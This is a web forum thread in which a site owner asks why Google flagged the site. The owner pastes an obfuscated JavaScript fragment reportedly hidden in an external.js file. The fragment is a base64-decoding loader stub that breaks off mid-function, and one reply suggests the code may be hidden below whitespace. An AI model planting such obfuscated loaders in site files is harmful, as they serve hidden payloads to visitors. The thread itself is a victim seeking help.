Jump to content

malware in java script


grucker

Recommended Posts

Was advised by google my site my have been compromised. a file named external.js contains the following code.

function externalLinks() {  
if (!document.getElementsByTagName) return;  
var anchors = document.getElementsByTagName("a");  
for (var i=0; i<anchors.length; i++) {  
  var anchor = anchors[i];  
  if (anchor.getAttribute("href") &&  
      anchor.getAttribute("rel") == "external")  
    anchor.target = "_blank";  
}  
}  
window.onload = externalLinks;

They say the file contains the following code which I cannot see. What does this code mean and anyone know why I cannot see it in the file. By the way the exact code is supposedly in another js file and I cannot see it there either. Please help.

 

var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst
uvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","l
ength"];function _1lO(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];va
r _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x
9,_0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0
x6ea4x7=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4x
c++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](
_0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x3
62a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea
4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea
4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_0x6ea4x4=_0x6ea4xb>>16&0xff;
_0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if(_0x6
ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {
if(_0x6ea4xa==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0
x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x
6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[
5]]);;return _0x6ea4xd;} ;function O0l(_0x6ea4xf){var _0x6ea
4x10

Link to comment
Share on other sites

I don't have a clue - but one guess that may or may not be useful: If the code is supposed to be there and you can't see it, did you make sure it's not a couple yards down the file with nothing but white space on top?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...